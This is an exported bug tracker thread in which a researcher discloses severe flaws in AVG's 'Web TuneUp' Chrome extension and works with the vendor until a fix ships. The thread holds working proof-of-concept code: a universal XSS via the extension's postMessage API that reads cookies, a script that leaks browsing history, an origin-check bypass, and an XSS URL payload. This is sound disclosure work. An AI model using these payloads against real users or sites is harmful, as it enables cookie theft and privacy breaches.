Anon777 / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

AVG: "Web TuneUP" extension multiple critical vulnerabilities #675

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago
When a user installs AVG AntiVirus, a Chrome extension called "AVG Web TuneUp" 
with extension id chfdnecihphmhljaaejmgoiahnihplgn is force-installed. I can 
see from the webstore statistics it has nearly 9 million active Chrome users.

https://chrome.google.com/webstore/detail/avg-web-tuneup/chfdnecihphmhljaaejmgoi
ahnihplgn/reviews

This extension adds numerous JavaScript API's to chrome, apparently so that 
they can hijack search settings and the new tab page. The installation process 
is quite complicated so that they can bypass the chrome malware checks, which 
specifically tries to stop abuse of the extension API.

Anyway, many of the API's are broken, the attached exploit steals cookies from 
avg.com. It also exposes browsing history and other personal data to the 
internet, I wouldn't be surprised if it's possible to turn this into arbitrary 
code execution.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by tav...@google.com on 15 Dec 2015 at 8:32

Attachments:

GoogleCodeExporter commented 8 years ago
I sent the angry email below to the vendor:

Hello, I've just been looking at your antivirus product, and the first thing I 
noticed was you force install a Chrome extension called "AVG Web TuneUp" with 
extension id chfdnecihphmhljaaejmgoiahnihplgn. I can see from our statistics it 
has nearly 9 million active Chrome users.

Apologies for my harsh tone, but I'm really not thrilled about this trash being 
installed for Chrome users. The extension is so badly broken that I'm not sure 
whether I should be reporting it to you as a vulnerability, or asking the 
extension abuse team to investigate if it's a PuP.

Nevertheless, my concern is that your security software is disabling web 
security for 9 million Chrome users, apparently so that you can hijack search 
settings and the new tab page.

There are multiple obvious attacks possible, for example, here is a trivial 
universal xss in the "navigate" API that can allow any website to execute 
script in the context of any other domain. For example, attacker.com can read 
email from mail.google.com, or corp.avg.com, or whatever else. I hope the 
severity of this issue is clear to you, fixing it should be your highest 
priority.

<script>
    for (i = 0; i < 256; i++) {
        window.postMessage({ origin: "web", action: "navigate", data: {
           url: "javascript:document.location.hostname.endsWith('.avg.com')"
                + "?"
                    + "alert(document.domain + ':' +document.cookie)"
                + ":"
                    + "false",
           tabID: i
        }}, "*");
    }
</script>

This demo will just alert(document.cookie) if you have a tab open on avg.com, 
but you get the idea. That's not all, basically every API I look at is just 
plain broken. For example, you're exposing browsing history to the internet via 
the "recently" api. This code should tell you all your recent navigations:

<script>
window.addEventListener("message", receiveMessage, false);
window.postMessage({ from: "web", to: "content", method: "recently" }, "*")

function receiveMessage(event)
{
    if (event.data != undefined && event.data.historyItems != undefined) {
        var obj = JSON.parse(event.data.historyItems);

        document.write("Here is a list of websites you've been visiting");
        document.write("<br>");
        for (i in obj) {
            var d = new Date(obj[i]);
            document.write("<a href=" + i + ">" + i + "</a> on " + d);
            document.write("<br>");
        }
    }
}
</script>

I'm sure if I keep looking I'll be able to turn this into remote code 
execution, but hopefully this is enough for now.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse without 
a broadly available patch, then the bug report will automatically become 
visible to the public.

Disappointed, Tavis.

Original comment by tav...@google.com on 15 Dec 2015 at 8:33

GoogleCodeExporter commented 8 years ago
Response:

Hello Tavis,

Thank you for the report. It has now reached the proper personnel in AVG.

Original comment by tav...@google.com on 15 Dec 2015 at 8:34

GoogleCodeExporter commented 8 years ago
Issue 673 has been merged into this issue.

Original comment by tav...@google.com on 15 Dec 2015 at 8:34

GoogleCodeExporter commented 8 years ago
Issue 674 has been merged into this issue.

Original comment by tav...@google.com on 15 Dec 2015 at 8:35

GoogleCodeExporter commented 8 years ago
AVG submitted an extension with a "fix", but the fix was obviously incorrect.

I sent the following reply:

Hey, I've looked at the extension, thanks for getting it to us quickly. 
Unfortunately, this is not an acceptable fix.

The solution that you submitted was this:

var match = event.origin.match(/https?:\/\/.*\.avg\.com/i);

if (match ! null {
...
}

This is unacceptable, and simply checks if the message origin contains the 
string ".avg.com". This is unacceptable because anyone can put that string in 
their hostname. This simply doesn't protect against the original problem we 
described.

For example the following code *will* return a match:

 "https://www.avg.com.www.attacker.com".match(/https?:\/\/.*\.avg\.com/i)

Additionally:

* This still allows a mitm to inject javascript into *any* origin, even a 
secure origin. This means users of this extension get no protection from SSL.
* Any XSS on avg.com can be used to compromise chrome users.

Thanks, Tavis.

Original comment by tav...@google.com on 19 Dec 2015 at 6:26

GoogleCodeExporter commented 8 years ago
I added the following clarification about the mitm attack:

Hi Tony, I just wanted to make sure the MITM issue is clear for your team, as I 
didn't explain it very well.

Your proposed code doesn't require a secure origin, that means it permits 
http:// or https:// protocols when checking the hostname. Because of this, a 
network man in the middle can redirect a user to http://attack.avg.com, and 
supply javascript that opens a tab to a secure https origin, and then inject 
code into it. This means that a man in the middle can attack secure https sites 
like GMail, Banking, and so on. 

To be absolutely clear: this means that AVG users have SSL disabled.

If you or your team have questions about this, please let me know.

Thanks, Tavis.

Original comment by tav...@google.com on 19 Dec 2015 at 7:03

GoogleCodeExporter commented 8 years ago
AVG provided a new fix that whitelisted the domains "mysearch.avg.com" and 
"webtuneup.avg.com" only. I think this is the best we're likely to get, so I 
sent this:

I took a look, I think this approach will work. It does have the limitation 
that any XSS or mixed-content on the whitelisted domains will have permission 
to compromise the entire internet.

Unfortunately, these are not difficult to find: I'm not a web security expert 
and found a few in under a minute of looking, here's an example:

http://webtuneup.avg.com/static/dist/app/4.0.5.0/interstitial.html?risk=%3Cimg%2
0src=x%20onerror=alert(1)%3E&searchParams=%7B%22lang%22%3A%22en%22%2C%22pid%22%3
A%22pid%22%2C%22v%22%3A%22vv%22%7D

To be clear, any XSS bug on that domain means that all AVG users can have their 
banking, email, everything compromised, so it really needs to be well 
maintained and audited.

I suppose on the understanding that you get a professional web audit of those 
whitelisted domains, this fix looks okay.

Original comment by tav...@google.com on 20 Dec 2015 at 6:46

GoogleCodeExporter commented 8 years ago
This isssue appears to be resolved in version 4.2.5.169 of the chrome 
extension, which looks like it's about to be made available for update on the 
webstore...

Original comment by tav...@google.com on 21 Dec 2015 at 7:56

GoogleCodeExporter commented 8 years ago
I believe this issue is resolved now, but inline installations are disabled 
while the CWS team investigate possible policy violations.

Original comment by tav...@google.com on 28 Dec 2015 at 8:25

GoogleCodeExporter commented 8 years ago
Please note you missed the closing parenthesis: 

if (match ! null {

This is very important to the syntax of JavaScript, it should be: 

if (match ! null) {

Original comment by blakenoo...@gmail.com on 29 Dec 2015 at 10:52

GoogleCodeExporter commented 8 years ago
I understand the importance of providing clear guidance to vendors, but can we 
obfuscate the POC XSS that can be used to pwn 9 million AVG users from the 
public forum post?

Original comment by m...@mbcarlson.org on 29 Dec 2015 at 6:00

GoogleCodeExporter commented 8 years ago
The XSS you're referring to cannot be used as-is due to mixed-content, it was 
intended to be illustrative only.

This is not a public discussion forum, so I'm restricting further comments.

Original comment by tav...@google.com on 29 Dec 2015 at 8:36